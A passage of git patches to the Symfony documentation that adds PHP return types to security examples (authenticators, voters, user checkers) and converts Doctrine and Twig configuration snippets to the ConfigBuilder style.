-      public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
+      public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey): Response
       {
           // ...
 
@@ -503,7 +504,7 @@ whenever the user browses a page::
             $this->saveTargetPath($this->session, 'main', $request->getUri());
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 KernelEvents::REQUEST => ['onKernelRequest']
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index de4285a653a..11d85732d5d 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -145,7 +145,7 @@ This requires you to implement several methods::
          * used for the request. Returning `false` will cause this authenticator
          * to be skipped.
          */
-        public function supports(Request $request)
+        public function supports(Request $request): bool
         {
             return $request->headers->has('X-AUTH-TOKEN');
         }
@@ -159,7 +159,7 @@ This requires you to implement several methods::
             return $request->headers->get('X-AUTH-TOKEN');
         }
 
-        public function getUser($credentials, UserProviderInterface $userProvider)
+        public function getUser($credentials, UserProviderInterface $userProvider): ?UserInterface
         {
             if (null === $credentials) {
                 // The token header was empty, authentication fails with HTTP Status
@@ -173,7 +173,7 @@ This requires you to implement several methods::
             return $userProvider->loadUserByUsername($credentials);
         }
 
-        public function checkCredentials($credentials, UserInterface $user)
+        public function checkCredentials($credentials, UserInterface $user): bool
         {
             // Check credentials - e.g. make sure the password is valid.
             // In case of an API token, no credential check is needed.
@@ -182,13 +182,13 @@ This requires you to implement several methods::
             return true;
         }
 
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey): ?Response
         {
             // on success, let the request continue
             return null;
         }
 
-        public function onAuthenticationFailure(Request $request, AuthenticationException $exception)
+        public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response
         {
             $data = [
                 // you may want to customize or obfuscate the message first
@@ -204,7 +204,7 @@ This requires you to implement several methods::
         /**
          * Called when authentication is needed, but it's not sent
          */
-        public function start(Request $request, AuthenticationException $authException = null)
+        public function start(Request $request, AuthenticationException $authException = null): Response
         {
             $data = [
                 // you might translate this message
@@ -214,7 +214,7 @@ This requires you to implement several methods::
             return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
         }
 
-        public function supportsRememberMe()
+        public function supportsRememberMe(): bool
         {
             return false;
         }
@@ -466,7 +466,7 @@ completes registration. To do that, use your authenticator and a service called
 
     class RegistrationController extends AbstractController
     {
-        public function register(LoginFormAuthenticator $authenticator, GuardAuthenticatorHandler $guardHandler, Request $request)
+        public function register(LoginFormAuthenticator $authenticator, GuardAuthenticatorHandler $guardHandler, Request $request): Response
         {
             // ...
 
@@ -496,7 +496,7 @@ the user's session is "migrated" to a new session id.
 This is an edge-case, and unless you're having session or CSRF token issues, you
 can ignore this. Here is an example of good and bad behavior::
 
-    public function supports(Request $request)
+    public function supports(Request $request): bool
     {
         // GOOD behavior: only authenticate (i.e. return true) on a specific route
         return 'login_route' === $request->attributes->get('_route') && $request->isMethod('POST');
@@ -532,7 +532,7 @@ are two possible fixes:
     +         $this->security = $security;
     +     }
 
-          public function supports(Request $request)
+          public function supports(Request $request): bool
           {
     +         // if there is already an authenticated user (likely due to the session)
     +         // then return false and skip authentication: there is no need.
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index d7c1692ba80..246fc458525 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -276,13 +276,13 @@ logic you want::
             $this->security = $security;
         }
 
-        protected function supports($attribute, $subject)
+        protected function supports($attribute, $subject): bool
         {
             return in_array($attribute, ['CAN_SWITCH_USER'])
                 && $subject instanceof UserInterface;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
         {
             $user = $token->getUser();
             // if the user is anonymous or if the subject is not a user, do not grant access
@@ -334,7 +334,7 @@ you switch users, add an event subscriber on this event::
 
     class SwitchUserSubscriber implements EventSubscriberInterface
     {
-        public function onSwitchUser(SwitchUserEvent $event)
+        public function onSwitchUser(SwitchUserEvent $event): void
         {
             $request = $event->getRequest();
 
@@ -347,7 +347,7 @@ you switch users, add an event subscriber on this event::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 // constant for security.switch_user
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index d61b82287bc..d30f878bfb3 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -77,7 +77,7 @@ The next step is to configure a route in your app matching this path:
             /**
              * @Route("/login", name="login", methods={"POST"})
              */
-            public function login(Request $request)
+            public function login(Request $request): Response
             {
                 $user = $this->getUser();
 
diff --git a/security/named_encoders.rst b/security/named_encoders.rst
index 0cf58d2e53d..381e4a5f27b 100644
--- a/security/named_encoders.rst
+++ b/security/named_encoders.rst
@@ -125,7 +125,7 @@ the name of the encoder to use::
 
     class User implements UserInterface, EncoderAwareInterface
     {
-        public function getEncoderName()
+        public function getEncoderName(): ?string
         {
             if ($this->isAdmin()) {
                 return 'harsh';
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 631a6528e43..0f42b792b07 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -173,7 +173,7 @@ users to change their password. You can do this by leveraging a few special "rol
     // src/Controller/AccountController.php
     // ...
 
-    public function accountInfo()
+    public function accountInfo(): Response
     {
         // allow any authenticated user - we don't care if they just
         // logged in, or are logged in via a remember me cookie
@@ -182,7 +182,7 @@ users to change their password. You can do this by leveraging a few special "rol
         // ...
     }
 
-    public function resetPassword()
+    public function resetPassword(): Response
     {
         // require the user to log in during *this* session
         // if they were only logged in via a remember me cookie, they
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 068816440ce..ade87408b09 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -29,7 +29,7 @@ or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationExceptio
 
     class UserChecker implements UserCheckerInterface
     {
-        public function checkPreAuth(UserInterface $user)
+        public function checkPreAuth(UserInterface $user): void
         {
             if (!$user instanceof AppUser) {
                 return;
@@ -41,7 +41,7 @@ or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationExceptio
             }
         }
 
-        public function checkPostAuth(UserInterface $user)
+        public function checkPostAuth(UserInterface $user): void
         {
             if (!$user instanceof AppUser) {
                 return;
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 05b1215a77c..cdc36be8d85 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -129,6 +129,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
     // src/Repository/UserRepository.php
     namespace App\Repository;
 
+    use App\Entity\User;
     use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
     use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface;
 
@@ -136,7 +137,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
     {
         // ...
 
-        public function loadUserByUsername($usernameOrEmail)
+        public function loadUserByUsername($usernameOrEmail): ?User
         {
             $entityManager = $this->getEntityManager();
 
diff --git a/security/voters.rst b/security/voters.rst
index c8daae7ba38..84cbb446704 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -70,14 +70,14 @@ user can *edit* or *view* the object. In your controller, you'll check access wi
 code like this::
 
     // src/Controller/PostController.php
-    // ...
 
+    // ...
     class PostController extends AbstractController
     {
         /**
          * @Route("/posts/{id}", name="post_show")
          */
-        public function show($id)
+        public function show($id): Response
         {
             // get a Post object - e.g. query for it
             $post = ...;
@@ -91,7 +91,7 @@ code like this::
         /**
          * @Route("/posts/{id}/edit", name="post_edit")
          */
-        public function edit($id)
+        public function edit($id): Response
         {
             // get a Post object - e.g. query for it
             $post = ...;
@@ -130,7 +130,7 @@ would look like this::
         const VIEW = 'view';
         const EDIT = 'edit';
 
-        protected function supports($attribute, $subject)
+        protected function supports($attribute, $subject): bool
         {
             // if the attribute isn't one we support, return false
             if (!in_array($attribute, [self::VIEW, self::EDIT])) {
@@ -145,7 +145,7 @@ would look like this::
             return true;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
         {
             $user = $token->getUser();
 
@@ -168,7 +168,7 @@ would look like this::
             throw new \LogicException('This code should not be reached!');
         }
 
-        private function canView(Post $post, User $user)
+        private function canView(Post $post, User $user): bool
         {
             // if they can edit, they can view
             if ($this->canEdit($post, $user)) {
@@ -179,7 +179,7 @@ would look like this::
             return !$post->isPrivate();
         }
 
-        private function canEdit(Post $post, User $user)
+        private function canEdit(Post $post, User $user): bool
         {
             // this assumes that the Post object has a `getOwner()` method
             return $user === $post->getOwner();
@@ -243,7 +243,7 @@ with ``ROLE_SUPER_ADMIN``::
             $this->security = $security;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
         {
             // ...
 

From ddc406012c848976fd386d71188da628a30b21e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 18:00:57 +0200
Subject: [PATCH 2127/7107] [Uid] Document the namespace string values

---
 components/uid.rst | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index b4a14c52698..3402354c279 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -55,12 +55,12 @@ to create each type of UUID::
     $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3
     $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5
 
-    // the namespaces defined by RFC 4122 are available as constants
-    // (see https://tools.ietf.org/html/rfc4122#appendix-C)
-    $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name);
+    // the namespaces defined by RFC 4122 (see https://tools.ietf.org/html/rfc4122#appendix-C)
+    // are available as PHP constants and as string values
+    $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name);  // same as: Uuid::v3('dns', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name);  // same as: Uuid::v3('url', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);  // same as: Uuid::v3('oid', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name); // same as: Uuid::v3('x500', $name);
 
     // UUID type 6 is not part of the UUID standard. It's lexicographically sortable
     // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
@@ -69,7 +69,8 @@ to create each type of UUID::
 
 .. versionadded:: 5.3
 
-    The ``Uuid::NAMESPACE_*`` constants were introduced in Symfony 5.3.
+    The ``Uuid::NAMESPACE_*`` constants and the namespace string values (``'dns'``,
+    ``'url'``, etc.) were introduced in Symfony 5.3.
 
 If your UUID value is already generated in another format, use any of the
 following methods to create a ``Uuid`` object from it::

From 14ea9c7bf36387cbc5f958d7238f84237171fe6c Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 21 Apr 2021 21:39:15 +0200
Subject: [PATCH 2128/7107] [ConfigBuilder] Adding PHP ConfigBuilders for
 DoctrineBundle

---
 configuration/secrets.rst             | 13 ++--
 doctrine/custom_dql_functions.rst     | 51 ++++++---------
 doctrine/dbal.rst                     | 28 ++++----
 doctrine/multiple_entity_managers.rst | 92 ++++++++++++---------------
 doctrine/resolve_target_entity.rst    | 14 ++--
 reference/configuration/doctrine.rst  | 47 +++++++-------
 security/remember_me.rst              | 12 ++--
 7 files changed, 119 insertions(+), 138 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 4f7e921163a..299d36326fc 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -138,11 +138,14 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by:
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'password' => '%env(DATABASE_PASSWORD)%',
-            ]
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $doctrine->dbal()
+                ->connection('default')
+                    ->password('%env(DATABASE_PASSWORD)%')
+            ;
+        };
 
 The actual value will be resolved at runtime: container compilation and cache
 warmup don't need the **decryption key**.
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index ee11967da47..8643a3a643b 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -57,24 +57,19 @@ In Symfony, you can register your custom DQL functions as follows:
         use App\DQL\NumericFunction;
         use App\DQL\SecondStringFunction;
         use App\DQL\StringFunction;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                // ...
-                'dql' => [
-                    'string_functions' => [
-                        'test_string'   => StringFunction::class,
-                        'second_string' => SecondStringFunction::class,
-                    ],
-                    'numeric_functions' => [
-                        'test_numeric' => NumericFunction::class,
-                    ],
-                    'datetime_functions' => [
-                        'test_datetime' => DatetimeFunction::class,
-                    ],
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $defaultDql = $doctrine->orm()
+                ->entityManager('default')
+                    // ...
+                    ->dql();
+
+            $defaultDql->stringFunction('test_string', StringFunction::class);
+            $defaultDql->stringFunction('second_string', SecondStringFunction::class);
+            $defaultDql->numericFunction('test_numeric', NumericFunction::class);
+            $defaultDql->datetimeFunction('test_datetime', DatetimeFunction::class);
+        };
 
 .. note::
 
@@ -129,21 +124,15 @@ In Symfony, you can register your custom DQL functions as follows:
 
             // config/packages/doctrine.php
             use App\DQL\DatetimeFunction;
+            use Symfony\Config\DoctrineConfig;
 
-            $container->loadFromExtension('doctrine', [
-                'orm' => [
+            return static function (DoctrineConfig $doctrine) {
+                $doctrine->orm()
                     // ...
-                    'entity_managers' => [
-                        'example_manager' => [
-                            // place your functions here
-                            'dql' => [
-                                'datetime_functions' => [
-                                    'test_datetime' => DatetimeFunction::class,
-                                ],
-                            ],
-                        ],
-                    ],
-                ],
-            ]);
+                    ->entityManager('example_manager')
+                        // place your functions here
+                        ->dql()
+                            ->datetimeFunction('test_datetime', DatetimeFunction::class);
+            };
 
 .. _`DQL User Defined Functions`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/cookbook/dql-user-defined-functions.html
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 80c145d3d6a..e330fd85732 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -105,15 +105,13 @@ mapping types, read Doctrine's `Custom Mapping Types`_ section of their document
         // config/packages/doctrine.php
         use App\Type\CustomFirst;
         use App\Type\CustomSecond;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'types' => [
-                    'custom_first'  => CustomFirst::class,
-                    'custom_second' => CustomSecond::class,
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $dbal = $doctrine->dbal();
+            $dbal->type('custom_first')->class(CustomFirst::class);
+            $dbal->type('custom_second')->class(CustomSecond::class);
+        };
 
 Registering custom Mapping Types in the SchemaTool
 --------------------------------------------------
@@ -156,13 +154,13 @@ mapping type:
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'mapping_types' => [
-                    'enum'  => 'string',
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $dbalDefault = $doctrine->dbal()
+                ->connection('default');
+            $dbalDefault->mappingType('enum', 'string');
+        };
 
 .. _`PDO`: https://www.php.net/pdo
 .. _`Doctrine`: https://www.doctrine-project.org/
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index a78309eb607..ca18e658845 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -128,57 +128,47 @@ The following configuration code shows how you can configure two entity managers
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'default_connection' => 'default',
-                'connections' => [
-                    // configure these for your database server
-                    'default' => [
-                        'url'            => '%env(resolve:DATABASE_URL)%',
-                        'driver'         => 'pdo_mysql',
-                        'server_version' => '5.7',
-                        'charset'        => 'utf8mb4',
-                    ],
-                    // configure these for your database server
-                    'customer' => [
-                        'url'            => '%env(resolve:DATABASE_CUSTOMER_URL)%',
-                        'driver'         => 'pdo_mysql',
-                        'server_version' => '5.7',
-                        'charset'        => 'utf8mb4',
-                    ],
-                ],
-            ],
-
-            'orm' => [
-                'default_entity_manager' => 'default',
-                'entity_managers' => [
-                    'default' => [
-                        'connection' => 'default',
-                        'mappings'   => [
-                            'Main'  => [
-                                'is_bundle' => false,
-                                'type' => 'annotation',
-                                'dir' => '%kernel.project_dir%/src/Entity/Main',
-                                'prefix' => 'App\Entity\Main',
-                                'alias' => 'Main',
-                            ]
-                        ],
-                    ],
-                    'customer' => [
-                        'connection' => 'customer',
-                        'mappings'   => [
-                            'Customer'  => [
-                                'is_bundle' => false,
-                                'type' => 'annotation',
-                                'dir' => '%kernel.project_dir%/src/Entity/Customer',
-                                'prefix' => 'App\Entity\Customer',
-                                'alias' => 'Customer',
-                            ]
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $doctrine->dbal()->defaultConnection('default');
+
+            // configure these for your database server
+            $doctrine->dbal()
+                ->connection('default')
+                ->url('%env(resolve:DATABASE_URL)%')
+                ->driver('pdo_mysql')
+                ->serverVersion('5.7')
+                ->charset('utf8mb4');
+
+            // configure these for your database server
+            $doctrine->dbal()
+                ->connection('customer')
+                ->url('%env(resolve:DATABASE_CUSTOMER_URL)%')
+                ->driver('pdo_mysql')
+                ->serverVersion('5.7')
+                ->charset('utf8mb4');
+
+            $doctrine->orm()->defaultEntityManager('default');
+            $emDefault = $doctrine->orm()->entityManager('default');
+            $emDefault->connection('default');
+            $emDefault->mapping('Main')
+                ->isBundle(false)
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity/Main')
+                ->prefix('App\Entity\Main')
+                ->alias('Main');
+
+            $emCustomer = $doctrine->orm()->entityManager('customer');
+            $emCustomer->connection('customer');
+            $emCustomer->mapping('Customer')
+                ->isBundle(false)
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity/Customer')
+                ->prefix('App\Entity\Customer')
+                ->alias('Customer')
+            ;
+        };
 
 In this case, you've defined two entity managers and called them ``default``
 and ``customer``. The ``default`` entity manager manages entities in the
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 765f5d187ce..f16ca7421e5 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -139,15 +139,13 @@ about the replacement:
         // config/packages/doctrine.php
         use App\Entity\Customer;
         use App\Model\InvoiceSubjectInterface;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                // ...
-                'resolve_target_entities' => [
-                    InvoiceSubjectInterface::class => Customer::class,
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $orm = $doctrine->orm();
+            // ...
+            $orm->resolveTargetEntity(InvoiceSubjectInterface::class, Customer::class);
+        };
 
 Final Thoughts
 --------------
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 226316012d1..b097a15a548 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -345,14 +345,17 @@ directory instead:
 
     .. code-block:: php
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                'auto_mapping' => true,
-                'mappings' => [
-                    'AppBundle' => ['dir' => 'SomeResources/config/doctrine', 'type' => 'xml'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $emDefault = $doctrine->orm()->entityManager('default');
+
+            $emDefault->autoMapping(true);
+            $emDefault->mapping('AppBundle')
+                ->type('xml')
+                ->dir('SomeResources/config/doctrine')
+            ;
+        };
 
 Mapping Entities Outside of a Bundle
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -402,20 +405,20 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
     .. code-block:: php
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                'auto_mapping' => true,
-                'mappings' => [
-                    'SomeEntityNamespace' => [
-                        'type'      => 'annotation',
-                        'dir'       => '%kernel.project_dir%/src/Entity',
-                        'is_bundle' => false,
-                        'prefix'    => 'App\Entity',
-                        'alias'     => 'App',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $emDefault = $doctrine->orm()->entityManager('default');
+
+            $emDefault->autoMapping(true);
+            $emDefault->mapping('SomeEntityNamespace')
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity')
+                ->isBundle(false)
+                ->prefix('App\Entity')
+                ->alias('App')
+            ;
+        };
 
 Detecting a Mapping Configuration Format
 ........................................
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 20ac93897c3..4f0af428361 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -289,13 +289,13 @@ so ``DoctrineTokenProvider`` can store the tokens:
         .. code-block:: php
 
             # config/packages/doctrine.php
-            $container->loadFromExtension('doctrine', [
-                'dbal' => [
-                    'schema_filter'  => '~^(?!rememberme_token)~',
-                    // ...
-                ],
+            use Symfony\Config\DoctrineConfig;
+
+            return static function (DoctrineConfig $doctrine) {
+                $dbalDefault = $doctrine->dbal()->connection('default');
                 // ...
-            ]);
+                $dbalDefault->schemaFilter('~^(?!rememberme_token)~');
+            };
 
 Finally, set the ``token_provider`` option of the ``remember_me`` config to the
 service you created before:

From 28d3a5665543629687e7912c653f8c76e3d8644b Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 21 Apr 2021 22:00:34 +0200
Subject: [PATCH 2129/7107] [Twig] [ConfigBuilder] Use ConfigBuilder for
 TwigBundle

---
 .../front_controllers_and_kernel.rst          |  9 ++++---
 configuration/override_dir_structure.rst      |  8 +++---
 form/bootstrap4.rst                           | 10 +++----
 form/create_custom_field_type.rst             | 10 ++++---
 form/form_themes.rst                          | 22 ++++++++++------
 mailer.rst                                    | 26 ++++++++++---------
 reference/configuration/twig.rst              | 24 ++++++++++-------
 templating/global_variables.rst               | 22 +++++++++-------
 testing.rst                                   |  8 +++---
 9 files changed, 81 insertions(+), 58 deletions(-)

diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index fe3c8179ed0..47d8bcfa686 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -190,10 +190,13 @@ parameter used, for example, to turn Twig's debug mode on:
 
     .. code-block:: php
 
-        $container->loadFromExtension('twig', [
-            'debug' => '%kernel.debug%',
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-        ]);
+            $twig->debug('%kernel.debug%');
+        };
 
 The Environments
 ----------------
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 03ed8bcbe41..fef0d7756fb 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -140,9 +140,11 @@ for multiple directories):
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'default_path' => '%kernel.project_dir%/resources/views',
-        ]);
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->defaultPath('%kernel.project_dir%/resources/views');
+        };
 
 Override the Translations Directory
 -----------------------------------
diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 6f3b878ed1b..34b83b6a203 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -55,13 +55,13 @@ configuration:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
-                'bootstrap_4_layout.html.twig',
-            ],
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes(['bootstrap_4_layout.html.twig']);
 
             // ...
-        ]);
+        };
 
 If you prefer to apply the Bootstrap styles on a form to form basis, include the
 ``form_theme`` tag in the templates where those forms are used:
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 248818aa6d3..c95a0c80880 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -405,12 +405,14 @@ rest of files):
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'form/custom_types.html.twig',
                 '...',
-            ],
-        ]);
+            ]);
+        };
 
 The last step is to create the actual Twig template that will render the type.
 The template contents depend on which HTML, CSS and JavaScript frameworks and
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 927da208176..cdcb1cb2e2c 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -88,12 +88,15 @@ want to use another theme for all the forms of your app, configure it in the
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'bootstrap_4_horizontal_layout.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 You can pass multiple themes to this option because sometimes form themes only
 redefine a few elements. This way, if some theme doesn't override some element,
@@ -514,12 +517,15 @@ you want to apply the theme globally to all forms, define the
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'form/my_theme.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 If you only want to apply it to some specific forms, use the ``form_theme`` tag:
 
diff --git a/mailer.rst b/mailer.rst
index 6d0901504cd..f772dba65af 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -704,13 +704,14 @@ image files as usual. First, to simplify things, define a Twig namespace called
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // point this wherever your images live
-                '%kernel.project_dir%/assets/images' => 'images',
-            ],
-        ]);
+
+            // point this wherever your images live
+            $twig->path('%kernel.project_dir%/assets/images', 'images');
+        };
 
 Now, use the special ``email.image()`` Twig helper to embed the images inside
 the email contents:
@@ -812,13 +813,14 @@ called ``styles`` that points to the directory where ``email.css`` lives:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // point this wherever your css files live
-                '%kernel.project_dir%/assets/styles' => 'styles',
-            ],
-        ]);
+
+            // point this wherever your css files live
+            $twig->path('%kernel.project_dir%/assets/styles', 'styles');
+        };
 
 .. _mailer-markdown:
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 5d5edd1d43c..39a490650c5 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -235,13 +235,16 @@ all the forms of the application:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'bootstrap_4_layout.html.twig',
                 'form/my_theme.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 The order in which themes are defined is important because each theme overrides
 all the previous one. When rendering a form field whose block is not defined in
@@ -348,13 +351,14 @@ the directory defined in the :ref:`default_path option <config-twig-default-path
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                'email/default/templates' => null,
-                'backend/templates' => 'admin',
-            ],
-        ]);
+
+            $twig->path('email/default/templates', null);
+            $twig->path('backend/templates', 'admin');
+        };
 
 Read more about :ref:`template directories and namespaces <templates-namespaces>`.
 
diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index 2e2c841812c..12090f8b859 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -39,12 +39,13 @@ main Twig configuration file:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'globals' => [
-                'ga_tracking' => 'UA-xxxxx-x',
-            ],
-        ]);
+
+            $twig->global('ga_tracking')->value('UA-xxxxx-x');
+        };
 
 Now, the variable ``ga_tracking`` is available in all Twig templates, so you
 can use it without having to pass it explicitly from the controller or service
@@ -98,12 +99,13 @@ the ``@`` character, which is the usual syntax to
     .. code-block:: php
 
         // config/packages/twig.php
